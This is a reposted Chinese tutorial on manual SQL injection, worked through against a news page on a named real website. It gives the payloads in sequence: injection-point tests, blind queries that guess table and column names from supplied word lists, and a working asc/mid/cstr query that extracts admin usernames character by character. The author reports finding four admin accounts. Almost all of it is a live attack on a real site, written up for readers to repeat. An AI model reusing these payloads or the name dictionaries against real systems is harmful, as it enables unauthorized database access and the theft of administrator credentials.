入侵网站全过程

入侵网站全过程(转)

一 手动注入,知其然也知其所以然!
上次那个https://www.360docs.net/doc/332021291.html,/很多朋友都拿到了用户名和密码,但基本上都是用的各种各样的注入工具。
当然了,利用程序批量检测不失为一种省时省力的好办法。但是,我们提倡知其然也要知其所以然。不知道以前是听谁说的,只会依赖工具的人很难有新的提高!
我们不要当这样的人,我们也要知其所以然。
今天我们来说说如何注入。
就用这个网站吧!!https://www.360docs.net/doc/332021291.html,(已经是做出了很大的贡献了),随便找到一个新闻页面,比如这个新闻-----微软进军中国杀毒市场-----(https://www.360docs.net/doc/332021291.html,/News_Read.asp?Type_ID=3&ID=2361)

第一步,先检测此页面是否有注入点,两种方法。
1.在https://www.360docs.net/doc/332021291.html,/News_Read.asp?Type_ID=3&ID=2361后直接加个单引号 “ ' ”(不要把“”这个也输进去噢)
如果返回出错信息,就表示有注入点了。但是,此方法易于防范。提倡第2种方法。
2.在https://www.360docs.net/doc/332021291.html,/News_Read.asp?Type_ID=3&ID=2361后直接加上and 1=1看提示,如果没返回错误还是正常的页面的话就再在后面接着输入and 1=2
这时你发现页面内容没有了。出现一个空白的页面。OK!这就表示该页面存在注入漏洞,也就表示这就是一个可利用的注入点。


第二步。构造SQL查询语句.

先来检测网站数据库中的可利用的表名:
直接在https://www.360docs.net/doc/332021291.html,/News_Read.asp?Type_ID=3&ID=2361后面加上and 0<>(select count(*) from xxx)

注意XXX是你要查找的表名。如果他存在的话,页面的内容不会改变,如果没有这个表名,页面会返回错误或者干脆就是返回一个空白的页面。
至于你如何去猜那个表名,就看你的经验积累了,常用的就那几个。大家也不要担心,我列出几个常用的,(admin;a_admin;x_admin;m_admin;adminuser;admin_user;article_admin;administrator;manage;manager;member;user;users;Manage_User;user_info;admin_userinfo;login;用户;Friend;zl;movie;news;password;clubconfig;config;company;book;art;dv_admin;userinfo;t_user;ssgz;flash)
其实好多注入工具里面都有这样的字典文件。
我们一个一个检测,在输入and 0<>(select count(*) from admin_userinfo)时,页面没有返回错误。说明该表名存在!


接下来我们要检测帐号的数目,在https://www.360docs.net/doc/332021291.html,/News_Read.asp?Type_ID=3&ID=2361后面加上and 0<(select count(*) from admin_userinfo)
注意:admin_userinfo是我们检测出来的表名,注意到and后面加的那个0了吗,就是猜测查询出来帐号的数目的结果是否比0大,基本上是肯定的了。然后再把0换成1,看页面是否正常。
如果还是返回正常页面,证明帐号数目不止一个了,你就再换成2,一直到返回错误页面为止。这里我们检测到and 4<(select count(*) from admin_u

serinfo)时,返回错误页面。再改成and 4=(select count(*) from admin_userinfo)
证明帐号数目有四个。


再来检测字段名。
直接在https://www.360docs.net/doc/332021291.html,/News_Read.asp?Type_ID=3&ID=2361后面加上and 4=(select count(*) from admin_userinfo where len(XXX)>0)
注意:admin_userinfo就是我们刚才检测出来的表名.XXX是我们要查找的字段名,如果该字段存在,就会返回正常的页面,如果不存在页面会返回错误或者干脆就是返回一个空白的页面。
我给出常用的几个字段名( USR
user
userid
userpwd
userpasswd
username
userpassword
userpasswd
passwd
name
pwd
password
pwd1
id
okwiantgo
city
adress
wind
姓名
用户
帐号
密码
用户密码
用户帐号
级别
用户名
会员
会员ID
会员结束
用户会员
密码问题
密码答案
真实姓名
身份
u_name
adminpassword
adminusername
adminpsw
adminupass
administrators
adminuser
adminpass
adminname
user_name
admin_name
admin_password
admin_pass
admin_psw
admin_username
admin_user
admin_pwd
admin_id
admin_name
admin_pass
usr_nusr
dw
nc
uid
admin
user_admin
POWER
sysuser
ad
users
movie)


OK!我们在检测到and 4=(select count(*) from admin_userinfo where len(username)>0)的时候没有返回错误,证明存在username这个字段。
我们继续检测,又发现了password字段(方法同上)
接下来我们要检测字段的长度,在https://www.360docs.net/doc/332021291.html,/News_Read.asp?Type_ID=3&ID=2361后面加上
and 4=(select count(*) from admin_userinfo where len(username)>0)

注意:看到那个>0的地方了没,就是检测它的位数是不是比0位数要大,废话!肯动要大的,所以我们换成5(这里采用这办法检测,就不从1检测了)
看见没,返回了错误页面。证明位数不能是比5大,换成4。还是返回了错误页面,再换成3,返回正常页面。我稍微调整一下语句and 4=(select count(*) from admin_userinfo where len(username)>=4)
,原来是4位。这样我们就检测出来username的最后一位帐号就是4位的账户。


补遗


关于为什么后半部分这么迟才推出,原因有两个,一是时间方面。二是我借鉴网上转载的文章一直没有成功过。秉承实话实说的态度,我一直在寻找正确的注入语句,其实都是因为我也不会SQL数据库语句,所以就相当的吃力,有机会要恶补一下。
言归正传,还是这个注入点,我们输入and 4=(select count(*) from admin_userinfo where left(username,1)=a),按照网上流传的方法,这个就是猜测username里第四个账户的第一个字符是a,实践证明在这里是行不通的。我们来试另外一个语句and (select top 1 asc(mid(username,1,1)) from admin_userinfo)>0这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.(这个也是网上广为流

传的注入猜解语句,可惜在这里一样行不通,提请喜欢转贴的朋友们注意,自己没看懂没试过的文章就不要转了,你知道那些行得通行不通么)。我测试了,还是出错。弄了好久,最后终于找到一个语句,如下:
and (select top 1 asc(mid(cstr(username),1,1)) from (Select Top 4 [username] from [admin_userinfo] where 1=1 order by [username]) T Order by [username] desc) between 122 and 122
简单解释一下:

between 是指范围
order by 是指排序的意思
cstr 函数 似乎是转换字符串X=cstr(y) X=“y”
Select Top 4 [username] from [admin] top 4是猜解第四个帐户的意思
其他都是标准的SQL查询语句。

我们猜解出其username字段内容的第四个用户的第一个字符的ASCI值为122。我们只需要把它转换一下。我懒得去查字符表,直接找了个小的查询工具。在10进制栏里输入122,一转换,出来了。原来是字母Z。依次查询,就可以把整个字段的内容都找出来了。

学手工注入最好还是要会SQL语句的,至少简单的得会点。我就是因为不熟悉才绕了个大圈。在这里感谢空空牛人的技术指导。

相关文档
最新文档